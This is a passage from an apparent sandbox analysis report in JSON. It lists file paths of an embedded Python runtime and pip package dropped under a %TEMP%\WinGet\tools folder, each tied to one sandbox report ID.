type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\packages\\ssl_match_hostname\\_implementation.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\trsock.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\pydoc_data\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\packages\\ssl_match_hostname\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\vcruntime140_1.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\unix_events.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\distutils-precedence.pth","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\connection.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\libcrypto-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\windows_events.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\README.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\proxy.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\libffi-7.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\windows_utils.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\py.typed","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\queue.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\libssl-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\request.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\__main__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\__main__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\response.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\python.cat","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\abc.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\build_env.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\retry.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cache.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\ssltransport.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\concurrent\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\configuration.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\ssl_.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\concurrent\\futures\\process.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\exceptions.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\timeout.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\winsound.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\concurrent\\futures\\thread.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\main.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\url.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\concurrent\\futures\\_base.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\pyproject.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\wait.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\concurrent\\futures\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\self_outdated_check.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\util.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\wheel_builder.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\webencodings\\labels.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\wintypes.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\webencodings\\mklabels.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\_aix.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\autocompletion.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\webencodings\\tests.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\_endian.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\base_command.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\webencodings\\x_user_defined.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\cmdoptions.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\webencodings\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_msi.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\macholib\\dyld.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\command_context.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\entry_points.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\macholib\\dylib.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\main.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\macholib\\fetch_macholib","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\main_parser.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\macholib\\fetch_macholib.bat","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\parser.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\macholib\\framework.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\progress_bars.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\macholib\\README.ctypes","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\req_command.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\REQUESTED","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\macholib\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\spinners.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\curses\\ascii.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\status_codes.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\DLLs\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\curses\\has_key.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\abstract.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\curses\\panel.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\cache.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\extern\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\bltinmodule.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\curses\\textpad.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\check.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\tests\\data\\my-test-package-source\\setup.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\boolobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\curses\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\completion.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\appdirs.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\bytearrayobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\dbm\\dumb.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\configuration.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\pyparsing.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\bytesobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\dbm\\gnu.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\debug.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\cellobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\dbm\\ndbm.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\download.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\markers.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\ceval.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\dbm\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\freeze.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\requirements.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\classobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\archive_util.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\hash.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\specifiers.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\code.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\bcppcompiler.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\help.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\tags.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\codecs.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\ccompiler.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\index.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\utils.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\compile.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\cmd.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\install.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\version.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\complexobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\config.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\list.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\_compat.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\context.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\core.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\search.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\_structures.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\datetime.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\cygwinccompiler.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\show.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\_typing.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\descrobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\debug.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\uninstall.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\__about__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\include\\dictobject.h","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\distutils\\dep_util.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\commands\\wheel.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pkg_resources\\_vendor\\packaging\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\